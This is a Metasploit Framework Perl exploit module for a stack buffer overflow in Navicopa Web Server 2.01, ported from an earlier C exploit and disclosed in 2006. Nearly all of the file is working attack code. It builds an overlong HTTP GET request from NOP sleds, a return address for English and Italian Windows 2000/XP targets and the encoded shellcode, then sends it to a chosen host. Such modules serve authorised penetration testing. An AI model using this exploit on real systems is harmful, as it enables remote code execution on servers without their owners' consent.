##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##package Msf::Exploit::navicopa_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'Navicopa 2.01 Buffer Overflow',
'Version' => '$Revision: 0.1 $',
'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Payload' =>
{
'Space' => 400,
'MinNops' => 16,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x25\x3f",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a classical stack overflow in Navicopa Web Server 2.01 version
Credit to h07 for discovered this vulnerability.
This is a port to the original h07 c code.
}),
'Refs' =>
[
['BID', 20250],
],
'Targets' =>
[
['Windows 2k/XP for all service pack English',228, 0x1002c46f ], # push esp,ret in IV320009.dll
['Windows 2k/XP for all service pack Italian',227, 0x1002c46f ], # push esp,ret in IV320009.dll
],
'Keys' => ['navicopa'],
'DisclosureDate' => 'Sep 28 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $pattern = $self->MakeNops($target->[1]);
$pattern .= pack('V', $target->[2]);
$pattern .= $self->MakeNops(32);
$pattern .= $shellcode;
my $request = "GET " . $pattern ." HTTP/1.1\r\n\r\n";
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using push esp ret at 0x%.8x...", $target->[2]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($request);
sleep(3);
$s->Recv(-1, 10);
$s->Close();
return;
}
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